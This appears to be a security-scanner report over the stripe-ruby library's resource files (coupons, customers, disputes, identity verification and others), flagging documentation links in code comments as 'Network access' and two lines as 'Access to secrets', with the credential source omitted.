# The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the user
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/connect_collection_transfer.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/country_spec.rb
- Executable scriptline 1
Executable file - Network accessline 8
# # You can also view the information from this API call as [an online # guide](https://docs.stripe.com/docs/connect/required-verification-information). - Network accessline 10
# guide](https://docs.stripe.com/docs/connect/required-verification-information). - Network accessline 72
# Payment methods available in the specified country. You may need to enable some payment methods (e.g., [ACH](https://stripe.com/docs/ach)) on your account before they appear in this list. The `stripe` payment method refers to [charging th
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/coupon.rb
- Executable scriptline 1
Executable file - Network accessline 5
# A coupon contains information about a percent-off or amount-off discount you # might want to apply to a customer. Coupons may be applied to [subscriptions](https://api.stripe.com#subscriptions), [invoices](https://api.stripe.com#invoice - Network accessline 6
# might want to apply to a customer. Coupons may be applied to [subscriptions](https://api.stripe.com#subscriptions), [invoices](https://api.stripe.com#invoices), - Network accessline 7
# [checkout sessions](https://docs.stripe.com/api/checkout/sessions), [quotes](https://api.stripe.com#quotes), and more. Coupons do not work with conventional one-off [charges](https://api.stripe.com#create_charge) or [payment intents](http - Network accessline 50
# If `amount_off` has been set, the three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the amount to take off. - Network accessline 52
# Coupons defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 64
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 81
# You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API if you need to create coupons on the fly. - Network accessline 88
# You can delete coupons via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. However, deleting a coupon does not affect any customers who have already applied the coupon; it means that new custome - Network accessline 98
# You can delete coupons via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. However, deleting a coupon does not affect any customers who have already applied the coupon; it means that new custome
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/credit_note.rb
- Executable scriptline 1
Executable file - Network accessline 5
# Issue a credit note to adjust an invoice's amount after the invoice is finalized. # # Related guide: [Credit notes](https://docs.stripe.com/billing/invoices/credit-notes) - Network accessline 7
# Related guide: [Credit notes](https://docs.stripe.com/billing/invoices/credit-notes) - Network accessline 166
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 190
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 212
# Status of this credit note, one of `issued` or `void`. Learn more about [voiding credit notes](https://docs.stripe.com/billing/invoices/credit-notes#voiding). - Network accessline 281
# Marks a credit note as void. Learn more about [voiding credit notes](https://docs.stripe.com/docs/billing/invoices/credit-notes#voiding). - Network accessline 291
# Marks a credit note as void. Learn more about [voiding credit notes](https://docs.stripe.com/docs/billing/invoices/credit-notes#voiding).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/credit_note_line_item.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/customer.rb
- Executable scriptline 1
Executable file - Network accessline 5
# This object represents a customer of your business. Use it to [create recurring charges](https://docs.stripe.com/invoicing/customer), [save payment](https://docs.stripe.com/payments/save-during-payment) and contact information, - Network accessline 28
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 36
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 100
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 108
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 175
# The current balance, if any, that's stored on the customer in their default currency. If negative, the customer has credit to apply to their next invoice. If positive, the customer has an amount owed that's added to their next invoice. Th - Network accessline 183
# Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) the customer can be charged in for recurring billing purposes. - Network accessline 187
# ID of the default payment source for the customer. # # If you use payment methods created through the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/object#customer_obje - Network accessline 189
# If you use payment methods created through the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/object#customer_object-invoice_settings-default_payment_method) field instead. - Network accessline 191
# Tracks the most recent state change on any invoice belonging to the customer. Paying an invoice or marking it uncollectible via the API will set this field to false. An automatic payment failure or passing the `invoice.due_date` will set - Network accessline 192
# # If an invoice becomes uncollectible by [dunning](https://docs.stripe.com/billing/automatic-collection), `delinquent` doesn't reset to `false`. # - Network accessline 193
# If an invoice becomes uncollectible by [dunning](https://docs.stripe.com/billing/automatic-collection), `delinquent` doesn't reset to `false`. - Network accessline 215
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/customer_balance_transaction.rb
- Executable scriptline 1
Executable file - Network accessline 5
# Each customer has a [Balance](https://docs.stripe.com/api/customers/object#customer_object-balance) value, - Network accessline 6
# which denotes a debit or credit that's automatically applied to their next invoice upon finalization. # You may modify the value directly by using the [update customer API](https://docs.stripe.com/api/customers/update), # or by creati - Network accessline 7
# You may modify the value directly by using the [update customer API](https://docs.stripe.com/api/customers/update), - Network accessline 8
# or by creating a Customer Balance Transaction, which increments or decrements the customer's `balance` by the specified `amount`. # # Related guide: [Customer balance](https://docs.stripe.com/billing/customer/balance) - Network accessline 10
# Related guide: [Customer balance](https://docs.stripe.com/billing/customer/balance) - Network accessline 27
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 43
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 47
# Transaction type: `adjustment`, `applied_to_invoice`, `credit_note`, `initial`, `invoice_overpaid`, `invoice_too_large`, `invoice_too_small`, `unspent_receiver_credit`, `unapplied_from_invoice`, `checkout_session_subscription_payment`, or
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/customer_cash_balance_transaction.rb
- Executable scriptline 1
Executable file - Network accessline 16
# The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds taken out of your Stripe balance. - Network accessline 18
# The [Cash Balance Transaction](https://docs.stripe.com/api/cash_balance_transactions/object) that brought the customer balance negative, triggering the clawback of funds. - Network accessline 31
# The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were applied to. - Network accessline 149
# The [Refund](https://docs.stripe.com/api/refunds/object) that moved these funds into the customer's cash balance. - Network accessline 162
# The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds transferred to your Stripe balance. - Network accessline 175
# The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were unapplied from. - Network accessline 192
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 198
# The total available cash balance for the specified currency after this transaction was applied. Represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 206
# The amount by which the cash balance changed, represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). A positive value represents funds being added to the cash balance, a negative value represents fun - Network accessline 214
# The type of the cash balance transaction. New types may be added in future. See [Customer Balance](https://docs.stripe.com/payments/customer-balance#types) to learn more about these types.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/customer_session.rb
- Executable scriptline 1
Executable file - Network accessline 6
# control over a Customer. # # Related guides: [Customer Session with the Payment Element](https://docs.stripe.com/payments/accept-a-payment-deferred?platform=web&type=payment#save-payment-methods), - Network accessline 7
# # Related guides: [Customer Session with the Payment Element](https://docs.stripe.com/payments/accept-a-payment-deferred?platform=web&type=payment#save-payment-methods), # [Customer Session with the Pricing Table](https://docs.stripe. - Network accessline 8
# Related guides: [Customer Session with the Payment Element](https://docs.stripe.com/payments/accept-a-payment-deferred?platform=web&type=payment#save-payment-methods), - Network accessline 9
# [Customer Session with the Pricing Table](https://docs.stripe.com/payments/checkout/pricing-table#customer-session), - Network accessline 10
# [Customer Session with the Buy Button](https://docs.stripe.com/payment-links/buy-button#pass-an-existing-customer). - Network accessline 35
# A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the customer sheet displays by filtering to only show payment methods - Network accessline 39
# Controls whether the customer sheet displays the option to remove a saved payment method." # # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing th - Network accessline 41
# Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method - Network accessline 68
# A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the mobile payment element displays by filtering to only show payment - Network accessline 74
# Controls whether the mobile payment element displays the option to remove a saved payment method." # # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Rem - Network accessline 76
# Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method - Network accessline 78
# Controls whether the mobile payment element displays a checkbox offering to save a new payment method. # # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#paymen - Network accessline 80
# If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the - Network accessline 111
# A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the Payment Element displays by filtering to only show payment method - Network accessline 119
# Controls whether the Payment Element displays the option to remove a saved payment method. This parameter defaults to `disabled`. # # Allowing buyers to remove their saved payment methods impacts subscriptions that dep - Network accessline 121
# Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method - Network accessline 123
# Controls whether the Payment Element displays a checkbox offering to save a new payment method. This parameter defaults to `disabled`. # # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/a - Network accessline 125
# If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the - Network accessline 127
# When using PaymentIntents and the customer checks the save checkbox, this field determines the [`setup_future_usage`](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-setup_future_usage) value used to confirm the P - Network accessline 129
# When using SetupIntents, directly configure the [`usage`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) value on SetupIntent creation. - Access to secretsline 194
[Credential-related source omitted]
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/discount.rb
- Executable scriptline 1
Executable file - Network accessline 5
# A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 6
# It contains information about when the discount began, when it will end, and what it is applied to. # # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 8
# Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/dispute.rb
- Executable scriptline 1
Executable file - Network accessline 7
# evidence that shows that the charge is legitimate. # # Related guide: [Disputes and fraud](https://docs.stripe.com/disputes) - Network accessline 9
# Related guide: [Disputes and fraud](https://docs.stripe.com/disputes) - Network accessline 26
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 34
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 75
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 83
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 168
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation policy, as shown to the customer. - Network accessline 174
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication with the customer that you feel is relevant to your case. Examples include emails proving that the customer received the product or service, or demonstr - Network accessline 182
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document or contract showing the customer's signature. - Network accessline 184
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prior charge that can uniquely identify the charge, such as a receipt, shipping label, work order, etc. This document should be paired with a simila - Network accessline 194
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message sent to the customer notifying them of the charge. - Network accessline 196
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer. - Network accessline 204
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service was provided to the customer. This could include a copy of a signed contract, work order, or other form of written agreement. - Network accessline 212
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a product was shipped to the customer at the same address the customer provided to you. This could include a copy of the shipment receipt - Network accessline 216
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any additional evidence or statements. - Network accessline 314
# The card network's specific dispute reason code, which maps to one of Stripe's primary dispute categories to simplify response guidance. The [Network code map](https://stripe.com/docs/disputes/categories#network-code-map) lists all availa - Network accessline 382
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 396
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 406
# Reason given by cardholder for dispute. Possible values are `bank_cannot_process`, `check_returned`, `credit_not_processed`, `customer_initiated`, `debit_not_authorized`, `duplicate`, `fraudulent`, `general`, `incorrect_account_details`, - Network accessline 440
# When you get a dispute, contacting your customer is always the best first step. If that doesn't work, you can submit evidence to help us resolve the dispute in your favor. You can do this in your [dashboard](https://dashboard.stripe.com/d - Network accessline 442
# Depending on your dispute type, different evidence fields will give you a better chance of winning your dispute. To figure out which evidence fields to provide, see our [guide to dispute types](https://docs.stripe.com/docs/disputes/catego
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/entitlements/active_entitlement.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/entitlements/active_entitlement_summary.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/entitlements/feature.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/ephemeral_key.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/event.rb
- Executable scriptline 1
Executable file - Network accessline 15
# a list of events from the API. # # [Connect](https://docs.stripe.com/connect) platforms can also receive event notifications - Network accessline 16
# # [Connect](https://docs.stripe.com/connect) platforms can also receive event notifications # that occur in their connected accounts. These events include an account attribute that - Network accessline 17
# [Connect](https://docs.stripe.com/connect) platforms can also receive event notifications - Network accessline 19
# identifies the relevant connected account. # # You can access events through the [Retrieve Event API](https://docs.stripe.com/api/events#retrieve_event) - Network accessline 20
# # You can access events through the [Retrieve Event API](https://docs.stripe.com/api/events#retrieve_event) # for 30 days. - Network accessline 21
# You can access events through the [Retrieve Event API](https://docs.stripe.com/api/events#retrieve_event) - Network accessline 32
# Object containing the API resource relevant to the event. For example, an `invoice.created` event will have a full [invoice object](https://api.stripe.com#invoice_object) as the value of the object key. - Network accessline 47
# ID of the API request that caused the event. If null, the event was automatic (e.g., Stripe's automatic subscription handling). Request logs are available in the [dashboard](https://dashboard.stripe.com/logs), but currently not in the API - Network accessline 83
# List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in [event object](https://docs.stripe.com/api/events/object) api_version attribute (not according to your c
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/exchange_rate.rb
- Executable scriptline 1
Executable file - Network accessline 5
# [Deprecated] The `ExchangeRate` APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead. - Network accessline 11
# payment in a foreign currency). # # Please refer to our [Exchange Rates API](https://docs.stripe.com/fx-rates) guide for more details. - Network accessline 12
# # Please refer to our [Exchange Rates API](https://docs.stripe.com/fx-rates) guide for more details. # - Network accessline 13
# Please refer to our [Exchange Rates API](https://docs.stripe.com/fx-rates) guide for more details. - Network accessline 17
# current. To do so, you must pass in the exchange_rate to charges endpoints. If the # value is no longer up to date, the charge won't go through. Please refer to our # [Using with charges](https://docs.stripe.com/exchange-rates) guide - Network accessline 18
# value is no longer up to date, the charge won't go through. Please refer to our # [Using with charges](https://docs.stripe.com/exchange-rates) guide for more details. # - Network accessline 19
# [Using with charges](https://docs.stripe.com/exchange-rates) guide for more details. - Network accessline 42
# Unique identifier for the object. Represented as the three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. - Network accessline 49
# [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/file.rb
- Executable scriptline 1
Executable file - Network accessline 5
# This object represents files hosted on Stripe's servers. You can upload # files with the [create file](https://api.stripe.com#create_file) request - Network accessline 6
# files with the [create file](https://api.stripe.com#create_file) request - Network accessline 7
# (for example, when uploading dispute evidence). Stripe also # creates files independently (for example, the results of a [Sigma scheduled # query](https://docs.stripe.com/api#scheduled_queries)). - Network accessline 8
# creates files independently (for example, the results of a [Sigma scheduled # query](https://docs.stripe.com/api#scheduled_queries)). # - Network accessline 9
# query](https://docs.stripe.com/api#scheduled_queries)). - Network accessline 11
# Related guide: [File upload guide](https://docs.stripe.com/file-upload) - Network accessline 29
# A list of [file links](https://api.stripe.com#file_links) that point at this file. - Network accessline 33
# The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/file_link.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/financial_connections/account.rb
- Executable scriptline 1
Executable file - Network accessline 55
# The funds available to the account holder. Typically this is the current balance after subtracting any outbound pending transactions and adding any inbound pending transactions. # # Each key is a three-letter [ISO curr - Network accessline 56
# # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. # - Network accessline 57
# Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. - Network accessline 72
# The credit that has been used by the account holder. # # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. - Network accessline 73
# # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. # - Network accessline 74
# Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. - Network accessline 93
# The balances owed to (or by) the account holder, before subtracting any outbound pending transactions or adding any inbound pending transactions. # # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4 - Network accessline 94
# # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. # - Network accessline 95
# Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. - Network accessline 212
# The [PaymentMethod type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type)(s) that can be created from this account.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/financial_connections/account_owner.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/financial_connections/account_ownership.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/financial_connections/session.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/financial_connections/transaction.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/forwarding/request.rb
- Executable scriptline 1
Executable file - Network accessline 19
# Stripe's limits. # # Related guide: [Forward card details to third-party API endpoints](https://docs.stripe.com/payments/forwarding). - Network accessline 21
# Related guide: [Forward card details to third-party API endpoints](https://docs.stripe.com/payments/forwarding). - Network accessline 113
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/funding_instructions.rb
- Executable scriptline 1
Executable file - Network accessline 5
# Each customer has a [`balance`](https://docs.stripe.com/api/customers/object#customer_object-balance) that is - Network accessline 7
# Customers can fund this balance by initiating a bank transfer to any account in the # `financial_addresses` field. # Related guide: [Customer balance funding instructions](https://docs.stripe.com/payments/customer-balance/funding-inst - Network accessline 9
# Related guide: [Customer balance funding instructions](https://docs.stripe.com/payments/customer-balance/funding-instructions) - Network accessline 22
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 30
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 45
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 53
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 95
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 103
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 118
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 126
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 145
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 166
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 174
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 189
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 197
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 235
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 243
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 258
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 266
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 306
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 314
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 329
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 337
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 379
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 387
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 402
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 410
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 500
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/identity/verification_report.rb
- Executable scriptline 1
Executable file - Network accessline 10
# # Each VerificationReport contains a copy of any data collected by the user as well as # reference IDs which can be used to access collected images through the [FileUpload](https://docs.stripe.com/api/files) - Network accessline 11
# Each VerificationReport contains a copy of any data collected by the user as well as # reference IDs which can be used to access collected images through the [FileUpload](https://docs.stripe.com/api/files) # API. To configure and - Network accessline 12
# reference IDs which can be used to access collected images through the [FileUpload](https://docs.stripe.com/api/files) - Network accessline 13
# API. To configure and create VerificationReports, use the # [VerificationSession](https://docs.stripe.com/api/identity/verification_sessions) API. # - Network accessline 14
# [VerificationSession](https://docs.stripe.com/api/identity/verification_sessions) API. - Network accessline 16
# Related guide: [Accessing verification results](https://docs.stripe.com/identity/verification-sessions#results). - Network accessline 29
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 37
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 122
# Array of [File](https://docs.stripe.com/api/files) ids containing images for this document. - Network accessline 251
# Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth. - Network accessline 255
# Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie). - Network accessline 336
# ID of the [File](https://docs.stripe.com/api/files) holding the image of the identity document used in this check. - Network accessline 340
# ID of the [File](https://docs.stripe.com/api/files) holding the image of the selfie used in this check.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/identity/verification_session.rb
- Executable scriptline 1
Executable file - Network accessline 6
# A VerificationSession guides you through the process of collecting and verifying the identities # of your users. It contains details about the type of verification, such as what [verification # check](https://docs.stripe.com/docs/ - Network accessline 7
# of your users. It contains details about the type of verification, such as what [verification # check](https://docs.stripe.com/docs/identity/verification-checks) to perform. Only create one VerificationSession for # each verificat - Network accessline 8
# check](https://docs.stripe.com/docs/identity/verification-checks) to perform. Only create one VerificationSession for - Network accessline 10
# # A VerificationSession transitions through [multiple # statuses](https://docs.stripe.com/docs/identity/how-sessions-work) throughout its lifetime as it progresses through - Network accessline 11
# A VerificationSession transitions through [multiple # statuses](https://docs.stripe.com/docs/identity/how-sessions-work) throughout its lifetime as it progresses through # the verification flow. The VerificationSession contains th - Network accessline 12
# statuses](https://docs.stripe.com/docs/identity/how-sessions-work) throughout its lifetime as it progresses through - Network accessline 14
# verification checks are complete. # # Related guide: [The Verification Sessions API](https://docs.stripe.com/identity/verification-sessions) - Network accessline 16
# Related guide: [The Verification Sessions API](https://docs.stripe.com/identity/verification-sessions) - Network accessline 46
# Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth. - Network accessline 50
# Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie). - Network accessline 185
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 193
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 254
# The short-lived client secret used by Stripe.js to [show a verification modal](https://docs.stripe.com/js/identity/modal) inside your app. This client secret expires after 24 hours and can only be used once. Don’t store it, log it, embed - Access to secretsline 255
[Credential-related source omitted] - Network accessline 262
# ID of the most recent VerificationReport. [Learn more about accessing detailed verification results.](https://docs.stripe.com/identity/verification-sessions#results) - Network accessline 266
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 282
# Status of this VerificationSession. [Learn more about the lifecycle of sessions](https://docs.stripe.com/identity/how-sessions-work). - Network accessline 284
# The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed. - Network accessline 286
# The short-lived URL that you use to redirect a user to Stripe to submit their identity information. This URL expires after 48 hours and can only be used once. Don’t store it, log it, send it in emails or expose it to anyone other than the - Network accessline 293
